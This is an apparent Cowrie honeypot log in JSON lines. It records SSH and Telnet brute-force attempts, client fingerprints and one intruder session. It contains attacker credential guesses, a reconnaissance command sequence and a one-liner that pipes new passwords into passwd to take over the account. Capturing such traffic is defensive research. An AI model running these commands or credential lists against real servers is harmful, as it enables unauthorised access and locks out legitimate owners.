{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.681975Z","src_ip":"45.153.34.97","session":"7e634c81606b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:54.875179Z","src_ip":"43.130.38.88","session":"c3bcce8a43de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"public","password":"123","message":"login attempt [public/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:55.177561Z","src_ip":"45.153.34.97","session":"7e634c81606b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:55.620022Z","src_ip":"43.153.36.83","session":"e3fd372957da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:55.947562Z","src_ip":"43.130.38.88","session":"c3bcce8a43de","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.061802Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.065385Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.203604Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.386626Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@123456\\nK6HxENsKVjL3\\nK6HxENsKVjL3\"|passwd|bash","message":"CMD: echo -e \"Admin@123456\\nK6HxENsKVjL3\\nK6HxENsKVjL3\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.390337Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.394820Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.399133Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.406826Z","src_ip":"45.153.34.97","session":"7e634c81606b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cad723db1410bc14682d35b7761f23702ce413853ce872fd623ebc33afe0cd6e","size":32,"shasum":"cad723db1410bc14682d35b7761f23702ce413853ce872fd623ebc33afe0cd6e","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cad723db1410bc14682d35b7761f23702ce413853ce872fd623ebc33afe0cd6e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.538354Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.663869Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@123456\\nK6HxENsKVjL3\\nK6HxENsKVjL3\\n\"|passwd","message":"CMD: echo \"Admin@123456\\nK6HxENsKVjL3\\nK6HxENsKVjL3\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.668267Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6f4cfa3550f6b4004949957c41a04d804aacf5bfd9f642f6af92d25c51f61797","size":25,"shasum":"6f4cfa3550f6b4004949957c41a04d804aacf5bfd9f642f6af92d25c51f61797","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/6f4cfa3550f6b4004949957c41a04d804aacf5bfd9f642f6af92d25c51f61797 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.807474Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.917967Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:56.921365Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.059657Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.182697Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.187067Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.326968Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.443020Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.446634Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.450171Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.589812Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.713121Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.717102Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.90229606628418,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.725735Z","src_ip":"152.42.224.71","session":"17e084b63439","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.854790Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.972035Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:57.975861Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.141129Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.268109Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.271824Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.412830Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.535898Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.540225Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.681017Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.806395Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.810357Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.952044Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":48638,"dst_ip":"10.17.0.5","dst_port":22,"session":"f26972b29900","protocol":"ssh","message":"New connection: 45.153.34.97:48638 (10.17.0.5:22) [session: f26972b29900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:58.976779Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.071671Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.075465Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.00279998779297,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.083526Z","src_ip":"152.42.224.71","session":"f2781d3d71e1","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.100448Z","src_ip":"45.153.34.97","session":"f26972b29900","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.104136Z","src_ip":"45.153.34.97","session":"f26972b29900","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.215601Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.340495Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.344138Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.483646Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.516808Z","src_ip":"45.153.34.97","session":"f26972b29900","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.632611Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.636080Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.773876Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.899426Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:06:59.903097Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:00.046657Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:00.170528Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:00.175021Z","src_ip":"43.130.38.88","session":"3a22ecdf1603","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00108480453491,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:00.247058Z","src_ip":"152.42.224.71","session":"ff00dc6cf3f9","protocol":"telnet"}
